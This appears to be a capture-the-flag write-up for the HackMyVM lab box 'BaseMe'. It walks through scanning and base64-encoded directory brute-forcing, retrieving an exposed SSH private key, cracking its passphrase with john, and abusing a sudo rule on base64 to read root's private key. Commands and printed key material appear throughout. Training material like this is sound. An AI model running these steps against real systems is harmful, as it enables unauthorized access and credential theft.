Home BaseMe
Post
Cancel

BaseMe

Overview

CTF like box

Box DifficultyLink
Easyhackmyvm Link

Recon

Objective : Find out all the open ports and do a nmap service scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root💀kali)-[/opt/hackmyv/baseme]                                                
└─# rustscan -a 192.168.56.23                                                        
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.          
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------                                              
Real hackers hack time ⌛
                                                                                     
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.56.23:22
Open 192.168.56.23:80  

We can see that there’s 2 open port. Port 22 and 80.

nmap output shows the below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# nmap -sV -sC 192.168.56.23 -p 22,80 -o nmap.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-25 01:56 EST
Nmap scan report for 192.168.56.23
Host is up (0.00048s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 ca:09:80:f7:3a:da:5a:b6:19:d9:5c:41:47:43:d4:10 (RSA)
|   256 d0:75:48:48:b8:26:59:37:64:3b:25:7f:20:10:f8:70 (ECDSA)
|_  256 91:14:f7:93:0b:06:25:cb:e0:a5:30:e8:d3:d3:37:2b (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:E9:64:8A (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.92 seconds

Let’s enumerate port 80!

HTTP- TCP 80

Gobuster shows that there’s only index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# gobuster dir -u http://192.168.56.23:80 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -e -k -s "200,204,301,302,307,403,500" -x "txt,html,php,php.bak,bak,jsp" -o gobuster_p80.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.23:80
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,html,php,php.bak,bak,jsp
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/12/25 01:57:59 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.56.23:80/index.html           (Status: 200) [Size: 276]
                                                                      
===============================================================
2021/12/25 01:59:42 Finished
===============================================================

Looking at the file shows something interesting.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# curl http://192.168.56.23/index.html
QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK

<!--
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
-->

Lets Base64 decode the encrypted first line.

1
2
3
4
5
6
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# echo -n "QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK" | base64 -d
ALL, absolutely ALL that you need is in BASE64.
Including the password that you need :)
Remember, BASE64 has the answer to all your questions.
-lucas

Looks like a big hint is that everything we are going to search fore or use is in base64. Moving forward we must know that EVERYTHING has to be in base64! From folders to password!

Let’s save the information we found and encode it in base64 first.

1
2
3
4
5
6
7
8
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# cat dic.txt                          
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme

For each line in file, base64 encode it line by line and save it to file while read line; do base64 <<< "$line"; done < input.txt >> output.txt.

1
2
3
4
5
6
7
8
9
10
11
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# while read line; do base64 <<< "$line"; done < dic.txt >> dic_b64.txt                                                                                          

┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# cat dic_b64.txt 
aWxvdmV5b3UK
eW91bG92ZXlvdQo=
c2hlbG92ZXN5b3UK
aGVsb3Zlc3lvdQo=
d2Vsb3ZleW91Cg==
dGhleWhhdGVzbWUK

Let’s enumerate the files again this time using gobuster with filename which are in base64. To do that, we have to convert the files into base64 encoded.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# while read line; do base64 <<< "$line"; done < /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt >> directory-list-2.3-medium-base64e.txt      
                                                                                        
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# head directory-list-2.3-medium-base64e.txt                                                                                                                     
IyBkaXJlY3RvcnktbGlzdC0yLjMtbWVkaXVtLnR4dAo=
Iwo=
IyBDb3B5cmlnaHQgMjAwNyBKYW1lcyBGaXNoZXIK
Iwo=
IyBUaGlzIHdvcmsgaXMgbGljZW5zZWQgdW5kZXIgdGhlIENyZWF0aXZlIENvbW1vbnMK
IyBBdHRyaWJ1dGlvbi1TaGFyZSBBbGlrZSAzLjAgTGljZW5zZS4gVG8gdmlldyBhIGNvcHkgb2Yg
dGhpcwo=
IyBsaWNlbnNlLCB2aXNpdCBodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9saWNlbnNlcy9ieS1z
YS8zLjAvCg==
IyBvciBzZW5kIGEgbGV0dGVyIHRvIENyZWF0aXZlIENvbW1vbnMsIDE3MSBTZWNvbmQgU3RyZWV0


┌──(root💀kali)-[/opt/hackmyv/baseme]                                                                                                                                     
└─# gobuster dir -u http://192.168.56.23:80 -w directory-list-2.3-medium-base64e.txt -t 100 -e -k -s "200,204,301,302,307,403,500" -x "txt,html,php,php.bak,bak,jsp"      
===============================================================                                                                                                           
Gobuster v3.1.0                                                                                                                                                           
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                                                                                                             
===============================================================                                                                                                           
[+] Url:                     http://192.168.56.23:80                                                                                                                      
[+] Method:                  GET                                                                                                                                          
[+] Threads:                 100                                                                                                                                          
[+] Wordlist:                directory-list-2.3-medium-base64e.txt                                                                                                        
[+] Negative Status codes:   404                                                                                                                                          
[+] User Agent:              gobuster/3.1.0                                                                                                                               
[+] Extensions:              bak,jsp,txt,html,php,php.bak                                                                                                                 
[+] Expanded:                true                                                                                                                                         
[+] Timeout:                 10s                                                                                                                                          
===============================================================                                                                                                           
2021/12/25 04:24:18 Starting gobuster in directory enumeration mode                                                                                                       
===============================================================                                                                                                           
                                      
===============================================================
2021/12/25 04:26:04 Finished
===============================================================

Sadly, Nothing found :( Let’s try more.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 ┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# while read line; do base64 <<< "$line"; done < /usr/share/seclists/Discovery/Web-Content/common.txt >> common-base64e.txt                                      
                                                                                                                                                                          
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# head common-base64e.txt                  
LmJhc2hfaGlzdG9yeQo=
LmJhc2hyYwo=
LmNhY2hlCg==
LmNvbmZpZwo=
LmN2cwo=
LmN2c2lnbm9yZQo=
LmZvcndhcmQK
LmdpdAo=
LmdpdC1yZXdyaXRlCg==
LmdpdC9IRUFECg==
 
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# gobuster dir -u http://192.168.56.23:80 -w common-base64e.txt -t 100 -e -k -s "200,204,301,302,307,403,500" -x "txt,html,php,php.bak,bak,jsp" 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.23:80
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                common-base64e.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              jsp,txt,html,php,php.bak,bak
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/12/25 04:31:16 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.56.23:80/aWRfcnNhCg==         (Status: 200) [Size: 2537]
http://192.168.56.23:80/cm9ib3RzLnR4dAo=     (Status: 200) [Size: 25]  
                                                                       
===============================================================
2021/12/25 04:31:19 Finished
===============================================================

Nice!

Shell as lucas

We can see that after decoding the base64 we have id_rsa and robots.txt.

1
2
3
4
5
6
7
8
Base64 decode the strings shows 
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# echo "aWRfcnNhCg==" | base64 -d
id_rsa
                                                                                                                                                                                                                                                                                                                          
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# echo "cm9ib3RzLnR4dAo=" | base64 -d                                                                                                                              
robots.txt

Let’s save the id_rsa!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(root💀kali)-[/opt/hackmyv/baseme]                                                
└─# curl http://192.168.56.23/aWRfcnNhCg== | base64 -d > id_rsa                           
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current      
                                 Dload  Upload   Total   Spent    Left  Speed        
100  2537  100  2537    0     0  1792k      0 --:--:-- --:--:-- --:--:-- 2477k       
-----BEGIN OPENSSH PRIVATE KEY-----                                                  
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBTxe8YUL
BtzfftAdPgp8YZAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQCZCXvEPnO1
cbhxqctBEcBDZjqrFfolwVKmpBgY07M3CK7pO10UgBsLyYwAzJEw4e6YgPNSyCDWFaNTKG
07jgcgrggre8ePCMNFBCAGaYHmLrFIsKDCLI4NE54t58IUHeXCZz72xTobL/ptLk26RBnh
7bHG1JjGlxOkO6m+1oFNLtNuD2QPl8sbZtEzX4S9nNZ/dpyRpMfmB73rN3yyIylevVDEyv
f7CZ7oRO46uDgFPy5VzkndCeJF2YtZBXf5gjc2fajMXvq+b8ol8RZZ6jHXAhiblBXwpAm4
vLYfxzI27BZFnoteBnbdzwSL5apBF5gYWJAHKj/J6MhDj1GKAFc1AAAD0N9UDTcUxwMt5X
YFIZK8ieBL0NOuwocdgbUuktC21SdnSy6ocW3imM+3mzWjPdoBK/Ho339uPmBWI5sbMrpK
xkZMnl+rcTbgz4swv8gNuKhUc7wTgtrNX+PNMdIALNpsxYLt/l56GK8R4J8fLIU5+MojRs
+1NrYs8J4rnO1qWNoJRZoDlAaYqBV95cXoAEkwUHVustfgxUtrYKp+YPFIgx8okM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vcWI6bTJAWJ
LdmmRXUS/DtO+69/aidvxGAYob+1M=            
-----END OPENSSH PRIVATE KEY-----  

Looks like we need not only the id_rsa but also password.

1
2
3
4
5
6
7
8
9
10
11
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# chmod 600 id_rsa    
 
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# ssh lucas@192.168.56.23          
lucas@192.168.56.23's password: 
Permission denied, please try again.
lucas@192.168.56.23's password: 
Permission denied, please try again.
lucas@192.168.56.23's password: 
lucas@192.168.56.23: Permission denied (publickey,password).

To check which password is for the id_rsa , lets use john to crack the password.

Using the previously encoded base64 dic_b64.txt .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# locate ssh2john.py                                                                                                                                              
/usr/share/john/ssh2john.py
                                                                                                                                                                          
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash 
                                                                                                                                                                                                                                                                                                                                                    
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# john id_rsa.hash -wordlist=dic_b64.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
aWxvdmV5b3UK     (id_rsa)     
1g 0:00:00:00 DONE (2021-12-25 04:50) 3.030g/s 18.18p/s 18.18c/s 18.18C/s aWxvdmV5b3UK..dGhleWhhdGVzbWUK
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Great , the password is aWxvdmV5b3UK .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# ssh lucas@192.168.56.23 -i id_rsa                                                                                                                               
Enter passphrase for key 'id_rsa': 
Linux baseme 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 28 12:51:36 2020 from 192.168.1.58
lucas@baseme:~$ whoami;id;hostname
lucas
uid=1000(lucas) gid=1000(lucas) groups=1000(lucas),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
baseme

Nice!

Shell as Root

Standard enumeration shows (ALL) NOPASSWD: /usr/bin/base64 we can run base64 as root. This means we can read important files such as /etc/passwd or /etc/shadow and crack password using john.

1
2
3
4
5
6
lucas@baseme:~$ sudo -l
Matching Defaults entries for lucas on baseme:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucas may run the following commands on baseme:
    (ALL) NOPASSWD: /usr/bin/base64

But obviously, the better way is to get it’s id_rsa at /root/.ssh/id_rsa and then SSH into the server as root!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
lucas@baseme:~$ sudo base64 "/root/.ssh/id_rsa" | base64 -d
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAw6MgMnxUy+W9oem0Uhr2cJiez37qVubRK9D4kdu7H5NQ/Z0FFp2B
IdV3wx9xDWAICJgtYQUvOV7KFNAWvEXTDdhBwdiUcWEJ4AOXK7+5v7x4b8vuG5zK0lTVxp
DEBE8faPj3UaHsa1JUVaDngTIkCa6VBICvG0DCcfL8xHBpCSIfoHfpqmOpWT/pWXvGI3tk
/Ku/STY7Ay8HtSgoqCcf3F+lb9J9k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HGcuCUDcxGY1QlIRnbM5VAjimNezGFs9f0ExD
SiTwFsmITP//njsbRZP2laiKKO6j4yp5LpfgDB5QHs+g4nXvDn6ns64gCKo7tf2bPP8VCe
FWyc2JyqREwE3WmyhkPlyr9xAZerZ+7Fz+NFueRYzDklWg8wAAAIEAxhBeLqbo6/GUKXF5
rFRatLXI43Jrd9pyvLx62KghsnEBEk7my9sbU5dvYBLztS+lfPCRxV2ZzpjYdN4SDJbXIR
txBaLJe3c4uIc9WjyxGwUK9IL65rSrRVERHsTO525ofPWGQEa2A+pRCpz3A4Y41fy8Y9an
2B2NmfTAfEkWFXsAAAALcm9vdEBiYXNlbWU=
-----END OPENSSH PRIVATE KEY-----

On our local machine, lets save the private key and give the right permission before we SSH into the server as root!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
┌──(root💀kali)-[/opt/hackmyv/baseme]  
└─# cat id_rsa_root 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAw6MgMnxUy+W9oem0Uhr2cJiez37qVubRK9D4kdu7H5NQ/Z0FFp2B
IdV3wx9xDWAICJgtYQUvOV7KFNAWvEXTDdhBwdiUcWEJ4AOXK7+5v7x4b8vuG5zK0lTVxp
DEBE8faPj3UaHsa1JUVaDngTIkCa6VBICvG0DCcfL8xHBpCSIfoHfpqmOpWT/pWXvGI3tk
/Ku/STY7Ay8HtSgoqCcf3F+lb9J9kwKhFg9eLO5QDuFujb1CN7gUy8xhgNanUViyCZRwn7
px+DfU+nscSEfG1zgfgqn2hCbBYqaP0jBgWcVL6YoMiwCS3jhmeFG4C/p51j3gI6b8yz9a
S+DtdTpDwQAAA8D82/wZ/Nv8GQAAAAdzc2gtcnNhAAABAQDDoyAyf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bo6/GUKXF5
rFRatLXI43Jrd9pyvLx62KghsnEBEk7my9sbU5dvYBLztS+lfPCRxV2ZzpjYdN4SDJbXIR
txBaLJe3c4uIc9WjyxGwUK9IL65rSrRVERHsTO525ofPWGQEa2A+pRCpz3A4Y41fy8Y9an
2B2NmfTAfEkWFXsAAAALcm9vdEBiYXNlbWU=
-----END OPENSSH PRIVATE KEY-----

┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# chmod 600 id_rsa_root      

                                                                                                                                                                          
┌──(root💀kali)-[/opt/hackmyv/baseme]
└─# ssh root@192.168.56.23 -i id_rsa_root
Linux baseme 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Dec 25 05:09:35 2021 from 192.168.56.3
root@baseme:~# 
root@baseme:~# whoami;id;hostname
root
uid=0(root) gid=0(root) groups=0(root)
baseme

Rooted!

This post is licensed under CC BY 4.0 by the author.